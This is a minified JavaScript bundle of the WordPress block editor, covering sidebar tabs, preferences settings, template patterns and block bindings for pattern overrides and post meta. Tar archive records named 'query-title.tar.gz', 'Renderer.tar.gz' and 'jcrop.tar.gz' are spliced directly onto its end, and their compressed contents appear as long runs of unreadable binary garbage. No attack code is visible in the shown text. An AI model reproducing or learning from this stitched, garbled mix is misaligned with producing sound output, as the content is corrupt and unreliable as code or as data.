settings.")}),(0,L.jsx)(Uo.RadioControl,{className:"editor-site-discussion__options",hideLabelFromVision:!0,label:(0,fs.__)("Comment status"),options:Hf,onChange:a,selected:t})]})]})})})}function $f({onActionPerformed:e}){const{isRemovedPostStatusPanel:t,postType:s,postId:o}=(0,c.useSelect)((e=>{const{isEditorPanelRemoved:t,getCurrentPostType:s,getCurrentPostId:o}=e(Ac);return{isRemovedPostStatusPanel:t("post-status"),postType:s(),postId:o()}}),[]);return(0,L.jsx)(Ff,{className:"editor-post-summary",children:(0,L.jsx)(Iu.Slot,{children:n=>(0,L.jsx)(L.Fragment,{children:(0,L.jsxs)(Uo.__experimentalVStack,{spacing:4,children:[(0,L.jsx)(Rf,{postType:s,postId:o,onActionPerformed:e}),(0,L.jsx)(Ep,{withPanelBody:!1}),(0,L.jsx)(_p,{}),(0,L.jsxs)(Uo.__experimentalVStack,{spacing:1,children:[(0,L.jsx)(Mf,{}),(0,L.jsx)(Of,{})]}),!t&&(0,L.jsxs)(Uo.__experimentalVStack,{spacing:4,children:[(0,L.jsxs)(Uo.__experimentalVStack,{spacing:1,children:[(0,L.jsx)(ih,{}),(0,L.jsx)(ch,{}),(0,L.jsx)(Nh,{}),(0,L.jsx)(Ju,{}),(0,L.jsx)(Gu,{}),(0,L.jsx)(rp,{}),(0,L.jsx)(Ap,{}),(0,L.jsx)(eu,{}),(0,L.jsx)(uh,{}),(0,L.jsx)(zf,{}),(0,L.jsx)(Uf,{}),(0,L.jsx)(Gf,{}),(0,L.jsx)(Lf,{}),n]}),(0,L.jsx)(jh,{onActionPerformed:e})]})]})})})})}const{EXCLUDED_PATTERN_SOURCES:Wf,PATTERN_TYPES:Zf}=$(ln.privateApis);function Yf(e,t){return e.innerBlocks=e.innerBlocks.map((e=>Yf(e,t))),"core/template-part"===e.name&&void 0===e.attributes.theme&&(e.attributes.theme=t),e}function Kf(e,t){return e.filter(((e,s,o)=>((e,t,s)=>t===s.findIndex((t=>e.name===t.name)))(e,s,o)&&(e=>!Wf.includes(e.source))(e)&&(e=>e.templateTypes?.includes(t.slug)||e.blockTypes?.includes("core/template-part/"+t.area))(e)))}function qf(e,t){return e.map((e=>({...e,keywords:e.keywords||[],type:Zf.theme,blocks:(0,y.parse)(e.content,{__unstableSkipMigrationLogs:!0}).map((e=>Yf(e,t)))})))}function Qf({availableTemplates:e,onSelect:t}){return e&&0!==e?.length?(0,L.jsx)(h.__experimentalBlockPatternsList,{label:(0,fs.__)("Templates"),blockPatterns:e,onClickPattern:t,showTitlesAsTooltip:!0}):null}function Xf(){const{record:e,postType:t,postId:s}=(0,c.useSelect)((e=>{const{getCurrentPostType:t,getCurrentPostId:s}=e(Ac),{getEditedEntityRecord:o}=e(d.store),n=t(),i=s();return{postType:n,postId:i,record:o("postType",n,i)}}),[]),{editEntityRecord:o}=(0,c.useDispatch)(d.store),n=function(e){const{blockPatterns:t,restBlockPatterns:s,currentThemeStylesheet:o}=(0,c.useSelect)((e=>{var t;const{getEditorSettings:s}=e(Ac),o=s();return{blockPatterns:null!==(t=o.__experimentalAdditionalBlockPatterns)&&void 0!==t?t:o.__experimentalBlockPatterns,restBlockPatterns:e(d.store).getBlockPatterns(),currentThemeStylesheet:e(d.store).getCurrentTheme().stylesheet}}),[]);return(0,u.useMemo)((()=>qf(Kf([...t||[],...s||[]],e),e)),[t,s,e,o])}(e);return n?.length?(0,L.jsx)(Uo.PanelBody,{title:(0,fs.__)("Design"),initialOpen:e.type===B,children:(0,L.jsx)(Qf,{availableTemplates:n,onSelect:async e=>{await o("postType",t,s,{blocks:e.blocks,content:(0,y.serialize)(e.blocks)})}})}):null}function Jf(){const{postType:e}=(0,c.useSelect)((e=>{const{getCurrentPostType:t}=e(Ac);return{postType:t()}}),[]);return[B,T].includes(e)?(0,L.jsx)(Xf,{}):null}const eb={document:"edit-post/document",block:"edit-post/block"},{Tabs:tb}=$(Uo.privateApis),sb=(0,u.forwardRef)(((e,t)=>{const{documentLabel:s}=(0,c.useSelect)((e=>{const{getPostTypeLabel:t}=e(Ac);return{documentLabel:t()||(0,fs._x)("Document","noun, panel")}}),[]);return(0,L.jsxs)(tb.TabList,{ref:t,children:[(0,L.jsx)(tb.Tab,{tabId:eb.document,"data-tab-id":eb.document,children:s}),(0,L.jsx)(tb.Tab,{tabId:eb.block,"data-tab-id":eb.block,children:(0,fs.__)("Block")})]})})),{BlockQuickNavigation:ob}=$(h.privateApis),nb=["core/post-title","core/post-featured-image","core/post-content"];function ib(){const e=(0,u.useMemo)((()=>(0,m.applyFilters)("editor.postContentBlockTypes",nb)),[]),{clientIds:t,postType:s,renderingMode:o}=(0,c.useSelect)((t=>{const{getCurrentPostType:s,getPostBlocksByName:o,getRenderingMode:n}=$(t(Ac)),i=s();return{postType:i,clientIds:o(T===i?"core/template-part":e),renderingMode:n()}}),[e]),{enableComplementaryArea:n}=(0,c.useDispatch)(Ua);return"post-only"===o&&s!==T||0===t.length?null:(0,L.jsx)(Uo.PanelBody,{title:(0,fs.__)("Content"),children:(0,L.jsx)(ob,{clientIds:t,onSelect:()=>{n("core","edit-post/document")}})})}const{BlockQuickNavigation:rb}=$(h.privateApis);function ab(){const e=(0,c.useSelect)((e=>{const{getBlockTypes:t}=e(y.store);return t()}),[]),t=(0,u.useMemo)((()=>e.filter((e=>"theme"===e.category)).map((({name:e})=>e))),[e]),s=(0,c.useSelect)((e=>{const{getBlocksByName:s}=e(h.store);return s(t)}),[t]);return 0===s.length?null:(0,L.jsx)(Uo.PanelBody,{title:(0,fs.__)("Content"),children:(0,L.jsx)(rb,{clientIds:s})})}function lb(){const e=(0,c.useSelect)((e=>{const{getCurrentPostType:t}=e(Ac);return t()}),[]);return e!==B?null:(0,L.jsx)(ab,{})}const cb=function(){const{hasBlockSelection:e}=(0,c.useSelect)((e=>({hasBlockSelection:!!e(h.store).getBlockSelectionStart()})),[]),{getActiveComplementaryArea:t}=(0,c.useSelect)(Ua),{enableComplementaryArea:s}=(0,c.useDispatch)(Ua),{get:o}=(0,c.useSelect)(k.store);(0,u.useEffect)((()=>{const n=t("core"),i=["edit-post/document","edit-post/block"].includes(n),r=o("core","distractionFree");i&&!r&&s("core",e?"edit-post/block":"edit-post/document")}),[e,t,s,o])},{Tabs:db}=$(Uo.privateApis),ub=u.Platform.select({web:!0,native:!1}),pb=({tabName:e,keyboardShortcut:t,onActionPerformed:s,extraPanels:o})=>{const n=(0,u.useRef)(null),i=(0,u.useContext)(db.Context);return(0,u.useEffect)((()=>{const t=Array.from(n.current?.querySelectorAll('[role="tab"]')||[]),s=t.find((t=>t.getAttribute("data-tab-id")===e)),o=s?.ownerDocument.activeElement;t.some((e=>o&&o.id===e.id))&&s&&s.id!==o?.id&&s?.focus()}),[e]),(0,L.jsx)(Lu,{identifier:e,header:(0,L.jsx)(db.Context.Provider,{value:i,children:(0,L.jsx)(sb,{ref:n})}),closeLabel:(0,fs.__)("Close Settings"),className:"editor-sidebar__panel",headerClassName:"editor-sidebar__panel-tabs",title:(0,fs._x)("Settings","panel button label"),toggleShortcut:t,icon:(0,fs.isRTL)()?da:ua,isActiveByDefault:ub,children:(0,L.jsxs)(db.Context.Provider,{value:i,children:[(0,L.jsxs)(db.TabPanel,{tabId:eb.document,focusable:!1,children:[(0,L.jsx)($f,{onActionPerformed:s}),(0,L.jsx)(vu.Slot,{}),(0,L.jsx)(ib,{}),(0,L.jsx)(lb,{}),(0,L.jsx)(Jf,{}),(0,L.jsx)(_h,{}),(0,L.jsx)(wf,{}),o]}),(0,L.jsx)(db.TabPanel,{tabId:eb.block,focusable:!1,children:(0,L.jsx)(h.BlockInspector,{})})]})})},mb=({extraPanels:e,onActionPerformed:t})=>{cb();const{tabName:s,keyboardShortcut:o,showSummary:n}=(0,c.useSelect)((e=>{const t=e(vl.store).getShortcutRepresentation("core/editor/toggle-sidebar"),s=e(Ua).getActiveComplementaryArea("core");let o=s;return[eb.block,eb.document].includes(s)||(o=e(h.store).getBlockSelectionStart()?eb.block:eb.document),{tabName:o,keyboardShortcut:t,showSummary:![T,B,N].includes(e(Ac).getCurrentPostType())}}),[]),{enableComplementaryArea:i}=(0,c.useDispatch)(Ua),r=(0,u.useCallback)((e=>{e&&i("core",e)}),[i]);return(0,L.jsx)(db,{selectedTabId:s,onSelect:r,selectOnMove:!1,children:(0,L.jsx)(pb,{tabName:s,keyboardShortcut:o,showSummary:n,onActionPerformed:t,extraPanels:e})})};const hb=function({postType:e,postId:t,templateId:s,settings:o,children:n,initialEdits:i,onActionPerformed:r,extraContent:a,extraSidebarPanels:l,...u}){const{post:p,template:m,hasLoadedPost:h,error:g}=(0,c.useSelect)((o=>{const{getEntityRecord:n,getResolutionError:i,hasFinishedResolution:r}=o(d.store),a=["postType",e,t];return{post:n(...a),template:s?n("postType",T,s):void 0,hasLoadedPost:r("getEntityRecord",a),error:i("getEntityRecord",a)?.message}}),[e,t,s]);return(0,L.jsxs)(L.Fragment,{children:[h&&!p&&(0,L.jsx)(Uo.Notice,{status:g?"error":"warning",isDismissible:!1,children:g||(0,fs.__)("You attempted to edit an item that doesn't exist. Perhaps it was deleted?")}),!!p&&(0,L.jsxs)(Yl,{post:p,__unstableTemplate:m,settings:o,initialEdits:i,useSubRegistry:!1,children:[(0,L.jsx)(vf,{...u,children:a}),n,(0,L.jsx)(mb,{onActionPerformed:r,extraPanels:l})]})]})},{PreferenceBaseOption:gb}=$(k.privateApis);function _b(e){const t=(0,c.useSelect)((e=>e(Ac).isPublishSidebarEnabled()),[]),{enablePublishSidebar:s,disablePublishSidebar:o}=(0,c.useDispatch)(Ac);return(0,L.jsx)(gb,{isChecked:t,onChange:e=>e?s():o(),...e})}const{BlockManager:fb}=$(h.privateApis),bb=[];function yb(){const{showBlockTypes:e,hideBlockTypes:t}=$((0,c.useDispatch)(Ac)),{blockTypes:s,allowedBlockTypes:o,hiddenBlockTypes:n}=(0,c.useSelect)((e=>{var t;return{blockTypes:e(y.store).getBlockTypes(),allowedBlockTypes:e(Ac).getEditorSettings().allowedBlockTypes,hiddenBlockTypes:null!==(t=e(k.store).get("core","hiddenBlockTypes"))&&void 0!==t?t:bb}}),[]),i=(0,u.useMemo)((()=>!0===o?s:s.filter((({name:e})=>o?.includes(e)))),[o,s]).filter((e=>(0,y.hasBlockSupport)(e,"inserter",!0)&&(!e.parent||e.parent.includes("core/post-content")))),r=n.filter((e=>i.some((t=>t.name===e)))),a=i.filter((e=>!r.includes(e.name)));return(0,L.jsx)(fb,{blockTypes:i,selectedBlockTypes:a,onChange:s=>{if(a.length>s.length){const e=a.filter((e=>!s.find((({name:t})=>t===e.name))));t(e.map((({name:e})=>e)))}else if(a.length<s.length){const t=s.filter((e=>!a.find((({name:t})=>t===e.name))));e(t.map((({name:e})=>e)))}}})}const{PreferencesModal:xb,PreferencesModalTabs:vb,PreferencesModalSection:Sb,PreferenceToggleControl:wb}=$(k.privateApis);function kb({extraSections:e={}}){const t=(0,p.useViewportMatch)("medium"),s=(0,c.useSelect)((e=>{const{getEditorSettings:s}=e(Ac),{get:o}=e(k.store),n=s().richEditingEnabled;return!o("core","distractionFree")&&t&&n}),[t]),{setIsListViewOpened:o,setIsInserterOpened:n}=(0,c.useDispatch)(Ac),{set:i}=(0,c.useDispatch)(k.store),r=(0,u.useMemo)((()=>[{name:"general",tabLabel:(0,fs.__)("General"),content:(0,L.jsxs)(L.Fragment,{children:[(0,L.jsxs)(Sb,{title:(0,fs.__)("Interface"),children:[(0,L.jsx)(wb,{scope:"core",featureName:"showListViewByDefault",help:(0,fs.__)("Opens the List View panel by default."),label:(0,fs.__)("Always open List View")}),s&&(0,L.jsx)(wb,{scope:"core",featureName:"showBlockBreadcrumbs",help:(0,fs.__)("Display the block hierarchy trail at the bottom of the editor."),label:(0,fs.__)("Show block breadcrumbs")}),(0,L.jsx)(wb,{scope:"core",featureName:"allowRightClickOverrides",help:(0,fs.__)("Allows contextual List View menus via right-click, overriding browser defaults."),label:(0,fs.__)("Allow right-click contextual menus")}),(0,L.jsx)(wb,{scope:"core",featureName:"enableChoosePatternModal",help:(0,fs.__)("Shows starter patterns when creating a new page."),label:(0,fs.__)("Show starter patterns")})]}),(0,L.jsxs)(Sb,{title:(0,fs.__)("Document settings"),description:(0,fs.__)("Select what settings are shown in the document panel."),children:[(0,L.jsx)(fu.Slot,{}),(0,L.jsx)(mh,{taxonomyWrapper:(e,t)=>(0,L.jsx)(mu,{label:t.labels.menu_name,panelName:`taxonomy-panel-${t.slug}`})}),(0,L.jsx)(yp,{children:(0,L.jsx)(mu,{label:(0,fs.__)("Featured image"),panelName:"featured-image"})}),(0,L.jsx)(lp,{children:(0,L.jsx)(mu,{label:(0,fs.__)("Excerpt"),panelName:"post-excerpt"})}),(0,L.jsx)(Od,{supportKeys:["comments","trackbacks"],children:(0,L.jsx)(mu,{label:(0,fs.__)("Discussion"),panelName:"discussion-panel"})}),(0,L.jsx)(Ld,{children:(0,L.jsx)(mu,{label:(0,fs.__)("Page attributes"),panelName:"page-attributes"})})]}),t&&(0,L.jsx)(Sb,{title:(0,fs.__)("Publishing"),children:(0,L.jsx)(_b,{help:(0,fs.__)("Review settings, such as visibility and tags."),label:(0,fs.__)("Enable pre-publish checks")})}),e?.general]})},{name:"appearance",tabLabel:(0,fs.__)("Appearance"),content:(0,L.jsxs)(Sb,{title:(0,fs.__)("Appearance"),description:(0,fs.__)("Customize the editor interface to suit your needs."),children:[(0,L.jsx)(wb,{scope:"core",featureName:"fixedToolbar",onToggle:()=>i("core","distractionFree",!1),help:(0,fs.__)("Access all block and document tools in a single place."),label:(0,fs.__)("Top toolbar")}),(0,L.jsx)(wb,{scope:"core",featureName:"distractionFree",onToggle:()=>{i("core","fixedToolbar",!0),n(!1),o(!1)},help:(0,fs.__)("Reduce visual distractions by hiding the toolbar and other elements to focus on writing."),label:(0,fs.__)("Distraction free")}),(0,L.jsx)(wb,{scope:"core",featureName:"focusMode",help:(0,fs.__)("Highlights the current block and fades other content."),label:(0,fs.__)("Spotlight mode")}),e?.appearance]})},{name:"accessibility",tabLabel:(0,fs.__)("Accessibility"),content:(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Sb,{title:(0,fs.__)("Navigation"),description:(0,fs.__)("Optimize the editing experience for enhanced control."),children:(0,L.jsx)(wb,{scope:"core",featureName:"keepCaretInsideBlock",help:(0,fs.__)("Keeps the text cursor within blocks while navigating with arrow keys, preventing it from moving to other blocks and enhancing accessibility for keyboard users."),label:(0,fs.__)("Contain text cursor inside block")})}),(0,L.jsx)(Sb,{title:(0,fs.__)("Interface"),children:(0,L.jsx)(wb,{scope:"core",featureName:"showIconLabels",label:(0,fs.__)("Show button text labels"),help:(0,fs.__)("Show text instead of icons on buttons across the interface.")})})]})},{name:"blocks",tabLabel:(0,fs.__)("Blocks"),content:(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Sb,{title:(0,fs.__)("Inserter"),children:(0,L.jsx)(wb,{scope:"core",featureName:"mostUsedBlocks",help:(0,fs.__)("Adds a category with the most frequently used blocks in the inserter."),label:(0,fs.__)("Show most used blocks")})}),(0,L.jsx)(Sb,{title:(0,fs.__)("Manage block visibility"),description:(0,fs.__)("Disable blocks that you don't want to appear in the inserter. They can always be toggled back on later."),children:(0,L.jsx)(yb,{})})]})},window.__experimentalMediaProcessing&&{name:"media",tabLabel:(0,fs.__)("Media"),content:(0,L.jsx)(L.Fragment,{children:(0,L.jsxs)(Sb,{title:(0,fs.__)("General"),description:(0,fs.__)("Customize options related to the media upload flow."),children:[(0,L.jsx)(wb,{scope:"core/media",featureName:"optimizeOnUpload",help:(0,fs.__)("Compress media items before uploading to the server."),label:(0,fs.__)("Pre-upload compression")}),(0,L.jsx)(wb,{scope:"core/media",featureName:"requireApproval",help:(0,fs.__)("Require approval step when optimizing existing media."),label:(0,fs.__)("Approval step")})]})})}].filter(Boolean)),[s,e,n,o,i,t]);return(0,L.jsx)(vb,{sections:r})}const Cb=function({postType:e}){const{registerPostTypeSchema:t}=$((0,c.useDispatch)(Ac));(0,u.useEffect)((()=>{t(e)}),[t,e]);const{defaultFields:s}=(0,c.useSelect)((t=>{const{getEntityFields:s}=$(t(Ac));return{defaultFields:s("postType",e)}}),[e]),{records:o,isResolving:n}=(0,d.useEntityRecords)("root","user",{per_page:-1});return{isLoading:n,fields:(0,u.useMemo)((()=>s.map((e=>"author"===e.id?{...e,elements:o?.map((({id:e,name:t})=>({value:e,label:t})))}:e))),[o,s])}},Pb="content",jb={name:"core/pattern-overrides",getValues({select:e,clientId:t,context:s,bindings:o}){const n=s["pattern/overrides"],{getBlockAttributes:i}=e(h.store),r=i(t),a={};for(const e of Object.keys(o)){const t=n?.[r?.metadata?.name]?.[e];void 0!==t?a[e]=""===t?void 0:t:a[e]=r[e]}return a},setValues({select:e,dispatch:t,clientId:s,bindings:o}){const{getBlockAttributes:n,getBlockParentsByBlockName:i,getBlocks:r}=e(h.store),a=n(s),l=a?.metadata?.name;if(!l)return;const[c]=i(s,"core/block",!0),d=Object.entries(o).reduce(((e,[t,{newValue:s}])=>(e[t]=s,e)),{});if(!c){const e=s=>{for(const o of s)o.attributes?.metadata?.name===l&&t(h.store).updateBlockAttributes(o.clientId,d),e(o.innerBlocks)};return void e(r())}const u=n(c)?.[Pb];t(h.store).updateBlockAttributes(c,{[Pb]:{...u,[l]:{...u?.[l],...Object.entries(d).reduce(((e,[t,s])=>(e[t]=void 0===s?"":s,e)),{})}}})},canUserEditValue:()=>!0};function Eb(e,t){const{getEditedEntityRecord:s}=e(d.store),{getRegisteredPostMeta:o}=$(e(d.store));let n;t?.postType&&t?.postId&&(n=s("postType",t?.postType,t?.postId).meta);const i=o(t?.postType),r={};return Object.entries(i||{}).forEach((([e,t])=>{var s;"footnotes"!==e&&"_"!==e.charAt(0)&&(r[e]={label:t.title||e,value:null!==(s=n?.[e])&&void 0!==s?s:t.default||void 0,type:t.type})})),Object.keys(r||{}).length?r:null}const Tb={name:"core/post-meta",getValues({select:e,context:t,bindings:s}){const o=Eb(e,t),n={};for(const[e,t]of Object.entries(s)){var i;const s=t.args.key,{value:r,label:a}=o?.[s]||{};n[e]=null!==(i=null!=r?r:a)&&void 0!==i?i:s}return n},setValues({dispatch:e,context:t,bindings:s}){const o={};Object.values(s).forEach((({args:e,newValue:t})=>{o[e.key]=t})),e(d.store).editEntityRecord("postType",t?.postType,t?.postId,{meta:o})},canUserEditValue({select:e,context:t,args:s}){if(t?.query||t?.queryId)return!1;if(!t?.postType)return!1;const o=Eb(e,t)?.[s.key]?.value;if(void 0===o)return!1;if(e(Ac).getEditorSettings().enableCustomFields)return!1;return!!e(d.store).canUser("update",{kind:"postType",name:t?.postType,id:t?.postId})},getFieldsList:({select:e,context:t})=>Eb(e,t)};const{store:Bb,...Ib}=r,Nb={};function Db(e,t,s){const{registerEntityAction:o}=$((0,c.dispatch)(Ac))}function Ab(e,t,s){const{unregisterEntityAction:o}=$((0,c.dispatch)(Ac))}function Rb(e,t,s){const{registerEntityField:o}=$((0,c.dispatch)(Ac))}function Mb(e,t,s){const{unregisterEntityField:o}=$((0,c.dispatch)(Ac))}G(Nb,{CreateTemplatePartModal:Jo,patternTitleField:xr,templateTitleField:_r,BackButton:t_,EntitiesSavedStatesExtensible:Ed,Editor:hb,EditorContentSlotFill:qg,GlobalStylesProvider:function({children:e}){const t=Wr();return t.isReady?(0,L.jsx)(Hr.Provider,{value:t,children:e}):null},mergeBaseAndUserConfigs:$r,PluginPostExcerpt:pp,PostCardPanel:Rf,PreferencesModal:function({extraSections:e={}}){const t=(0,c.useSelect)((e=>e(Ua).isModalActive("editor/preferences")),[]),{closeModal:s}=(0,c.useDispatch)(Ua);return t?(0,L.jsx)(xb,{closeModal:s,children:(0,L.jsx)(kb,{extraSections:e})}):null},usePostActions:jf,usePostFields:Cb,ToolsMoreMenuGroup:E_,ViewMoreMenuGroup:I_,ResizableEditor:rf,registerCoreBlockBindingsSources:function(){(0,y.registerBlockBindingsSource)(jb),(0,y.registerBlockBindingsSource)(Tb)},getTemplateInfo:Y,interfaceStore:Bb,...Ib})})(),(window.wp=window.wp||{}).editor=o})();14338/query-title.tar.gz000064400000001376151024420100010635 0ustar00��W[o�0�k�+���&�4){�VU{�vQ��a�*'����6mh�^�$$��Q�&�V�'8>�|���T9��P���
�<z~���`��b88���c�纞�w�ԐI���<�?��U��).:2yGE��狎$ׄE��DGKn_:��i���o��w�}��������
[��o��8v�<ߟ��p����v��A	F�J�r����].����{k3��� $ѯ��HN�x	����ĪOz��Ypf�B�D\�fMi�B�IU���R�;Z����[���
y��U
a�3�����H����u�����Z�EH�n���v�����Ԥp	��Ų�a"h��x&�W5�bw'k�X��)d̯�
��EM��f5"]/��O� ��H��m� X�$������"˅6le��\��x�ڟ�"�������e�UbR:�T��rQ�D��ug�,??�E
�$z��b8S��2��qp	��pӺ��z�&�U�R����,"�gk��a�Rɻ�ױ�q^�u<Sr
sJ|��
�i�3���P������>�R ���қ��fr�mg=�w
��������\�F��hq��%Q�d�t�g|I�M�Ҫ�ޞsJc�cY��V]����UqE"wd�����na�R�iY
�r
m;�m�8�����G^��������v��W���������o�
�b�Go�����
�N�	�M14338/Renderer.tar.gz000064400000003311151024420100010106 0ustar00��X�o�8�s���zIF_�2��ҁ��`�	8M'@����Yj�g]���ﱝ4/M��t�|(����?�c<b���E|�-��~��Gw�[�{C�?�?������?���&�Hd�O������[����A��xC�l6I��J*�x�O��x-�|�`���?����s!����HC�B���`�Z��}�r>�2�7��B��H$t
3Qx��ϣ��`&$D,�<��8~-�b�������G3X���j,.�Rv�1Yb��� -C�B��D*C+E�=��q����\��$U(,�KF8�X����Ø�gdN�-�P�oh���ъ��uf-{4��c����_�-I�J����!E�%'K��A�ы�A�y�g���xtƭ�{��Z�0"I�%�^�&4�>ag���5��2 k�oQ�2��?�,p��|j��QN�=x�.O�@� �d�B�RB[�%mPbI*�i?�ʉ���*:�2��_��	2� C L`���Q�$,�YYrȯ�X��0q��q�ˆ�t�l%��+��E���?�m^o��
�J,��5���ؔF�z����~~A�ocUVk���k�<�%���9��Ϯ�А��,��,(�����S0+����$����s52>�7p6X�C{�D	m�( �ŠB�JL>*Z[Y����:ɣL��S�i]�+Xai���hh�����Y��o�p&�r��R��b�k���\��y:��_�/�g�>Y.�$U�����wXy�����Gw�W}��؋�0/�1Z��^~b5X�'��RZ�g3p�^i[/"%Y+�m�͖{�h�'����7��p���o_g�i˖q��n�=o��.����	(:�����/��hE2��i�j�L׳�������
QJ����M(R�ra��Я�؄3��}U�0�`���CY�+�H��&���=Ji���(���f�����1c�Du3�t׹�6�$��Y���V�+�	��yF�R�����}<-�W��Ws1�q�Lc�^���kjch�)%+g\9Y-t�oU�.��$�E�};{����⸒����~����]N�3��U(��>��p�M�+�@�x��A�:��Fw)��q��(�'
Q�Z�6H������x/��M��ʌ
K"�p�)�Y����~�ǗU�"~��ΌJͣA\��@yN�n�OԖ�vhϹe�:���5�(�� �Ռ0�*%��С�N��"\-^�ؾ�|J$ә�4U���vZ�hRpOG��	s�	DQ_���/¶p��q���t�D�mj=(����S#D,Q�7��g���+~�%v��t��\�}vC�,Ԏ���UF]������p]��|h��^��+b��/���\�9U����ĽLGk%����®�G�Z6�ܫ��*>�yf��8�*��$�c��XIBT�G]��Cn�ޡ��k�ë���
u�����撧IHbjRoo��͹������V,����("�C��h3�gɢ_<���sI)����Сm��6�tY�I*��s��`����\��&�Kxy��'s�z�CM����&�C.��uj���J��j|���ʔ����������'m�jA�7�PV`�;9�]8�b�>lY�xM塻�ġ�Q��F(���H2i���yy5���L�c�=c�
�Y�e��4d$�A���?����X?֏��_>�qx14338/jcrop.tar.gz000064400000017330151024420100007463 0ustar00��=M�$�Q���`U��r��������fvf�^��`w��j7㬪쮜�ά�̚�ښ����s���ߐ@�#$s厐8r��xߙY�3fY[bZ����ŋ/^D�x�r}���u�7&E>�_&Y�Q��'�������[�}��u�����?�>���o:�'NI�Ϣ����4���9�v��εΣ�t�������;^$�4��W�W�=��-��y]ĝ��h�d�w��E�uz�"N㨌��E6���[o>��O&qV��n>_�Ŭ��3�Wz��� �_�Ӽ�fV�E4��'q���dVU�28<�H��bܟ䗇�>$������"�fy��{�}>�P���G,�W�F�t�+7�6E\-���VT�EC�3_9[8)˻iT��$U�
��J�N�9���U����*��i^�McW5��e���|g����E�v�q4y|AdP3��.��ݼ�qx�'Qљ�e�O������+�q��P�O���C���4��|Q�wƥKjN���i>y���g�~`�4P��KLu��xR9{a���9��źp����V�ߏWU<4#J���=u���,�.b��� E���E����4�<vΘ�ۄ�h�j����g�����QT�����,F�*_Lf�&9w;B1������>��>T�]e^��e�$v�0D$'�+�_ %E\&Ŏ�,O���D ��E�4���"�׷�I�M��Y�y$��T�O»y^L�>�F���.�¿����ݼ�u	�&������F��.�K�mk�yL�8��|����x������I���$��Q�KM.r	�L.ը���"x��eR��6���	�Hyx�_Fc��U-wWe��Ǫ�]U�U�8-����;���pg�Ý���� �����)L��m
mW4R6i�OBx���(
Q���K4���ws�h�SN\ѡ���㯠_<&���Ě�So#KϒG�V�\:�9�(�Eq�h��bQ��Md��+%\ق���5����B�.�q��L�2���dop�����S%��%���.e5��i���=���0�>x`J�h����+L4E�D�^|-R�:lo�{chs���}4�K6�2�-C,�/�i5�fٌ��b��ze��e��<�A[�!��f�kVDq<�vg��,�1h6;�����=�*'Q[�fK�6�e��l��l�ɪ�TG��ڂ3#&k�
&��5�[����VC��:|]e�ޖ�n/3Qc�V�E�s�Eߏͱ�p�8<��np���N\���E�kW\Ժ;&�D�zn�	�$�79q�)+�Y�N�L��NN/rP�{u��v[0{C�w�1�J��ŀkJ�eE�XR6M�������4{�=��>�3�r1.�<m�g7@�w��g^�[ӝ�X���9sb�B0��1��Ϋ�������t*\i�S;o�x��I��L�nP���X&I�|Vs�g9K*Ы`�?�d�%��>�Š����2��)QbTR{�8ʒK��܍,��1���Z�w&GF,Jd��2���J��>牷E^�a��P�|�*��C]��G�v�K�#����*���<M��]
7�k���h���b��j+|�1�G�!��Z��p��4Z�DD���M��'kU>P�(�!��*"�*?R�G�7�n�
}�$C�n@v�<��#ABDۙ�z��Dg�]�����ed�|��弙�����6D�A�|�G�ޡ��)jBc���!��l��[[`k
6��
-lCvdc��P�8�}��
�R�^���:��PS��{�R���j�n�\�2��k�ܯ�vJ<����X�Zw�
Թ���ӂ@��
n���ס]�ؙھ��TQŤ�o�$�w͢��D��ޕ��4E�M�w�T�P=��#��J=Wq�*�A��n�k�j��5���o�K��
��8�&��D
��%�n�Ѳ_a�u�aĕ��f�[�>S;	\E�$�&q*�6V�N�-Ҕ�/�1X�|�Z����Er�L���K����$)�q���qI1� �Dɽ��\�bc�=o�s�bbص6GϚ$R�@@��GHN��y45U%�-C�$w�%3z�5/�
�o�xf�}�G�
��h�<��0�&�*�X���/6J�j�k�	vE�W��_��y����7RdpxA�ń8^���*f4�W�|M� ��0YgJ����-#y*&!�3��+�{+i�{9*eY��z����~�-�|��~��g��վ�9��������x	g��Խ>��m� ��M9 A��-�z|�	L�R���(��*��{4	'PqR���d)��`���k��;�V��	��N���U��ߧ8%�b�,aeT!����ݓ��ԕ6�ʥ�%͝(�BAw�@�r9�3su�B6���M<t�u�q�pL`���+�������!���z�$�-bógԽË�`Uݬem�+.���&i� I�ˤR�/����O}�n�P��2�tU���ڪx�]b{�� �BrQ���%S`
i0�LC&�A/)hQl�L"��r���Efѓ������;���~�����D�
lx���XsZBE|C���s:��<�V�5�QƏ��b�H��CA�_}�R󸤍~0܌�w�aߜ�
r�v�1�˨�H2�l�a�)|�˄����<�:���P��L��U�����C랏[T�ͷ�
	q]�M�r(��B�F�-`�[+��S����v�;$lg���y|"���t��*#�h6G��F��ѽ������㖒&���d�xd�Ĥy��3��-��j7B��(:�e�#b�Y�F�M��jvoL��0-u��{�{g��j�x
�K�;c��e��s������c>i҂o���N#�T��[��d�	�;������|���X��!IB�K>���^�AΦ5@�燜궑;�c�5G�\���>z3�ƫ�hо����\�����F�g��'���9�h��2Nm5vk2�7}8;�<�uk{����ަ�Cb�Q�xj�^���"+��#1Ls��Hʼ0A|.��0H5��V��ݻI��S�(��b�>0扄��na����e2n��89S1CVΒ��!EƶޢbM�Ќ�>��f�T�	��ܞ��-1ޅ$o�$P��t�C��^��K�`��ܹ��x(T�>���M-�0��b�ex�c�t��@>y��&�9c� ���%��0�4�7ׁE�x��Xo@T�$�*��O�좚����?�=
9�ir6�el�+�J1�x��t�td�=}���&%c�.WA3�G�F�:]��3NOU3�\�N�g��`+L����6�}�Z	�w;�c7.
��9��N*={���ʘ[�l{����U�����! b<�7�)I?kg�D}r��h��,��3sy-��]n�xik*R�¸OF6��ן���۔�Řa��d�3���)�	���$	#�"6۪8jg��	�"&���V�p5ynH���N�2��8�@�[
Y�z�!bר�xAJDn���W��JS�<ь+�0W�b�a.��F��jp���\��|u����
q����p}���!ssA5!�T��Q��� �Y�\�B���g�okD
����"܇0��f�J�8��`g��yNvV�8�g�4�fx����XG�fʒX�E�ɇ�1łqа�%��eg.�;`o֫�Y�n���e��VV������e�ϛ�Ի�҃��J�Ӈ����鯏qH�6�l�_���kQ�V��F�1k�'�z
�e���j�Z��q�<Y
z�`	�	��Z��X�f�J(�1y������Nփ�,���+C0����=/�� +3⃠т����Y�p|�ƿ^��kcl^�6�4��&E�
��%1:�� ̓*	��XN���7/��@l^��z5��eE��;�`Z]Ot�%vG�֎���,��z!�qm*��'�SM�''�a��\��K=�b�l���#�y���<nS*]��9,�W1�	�G6��'
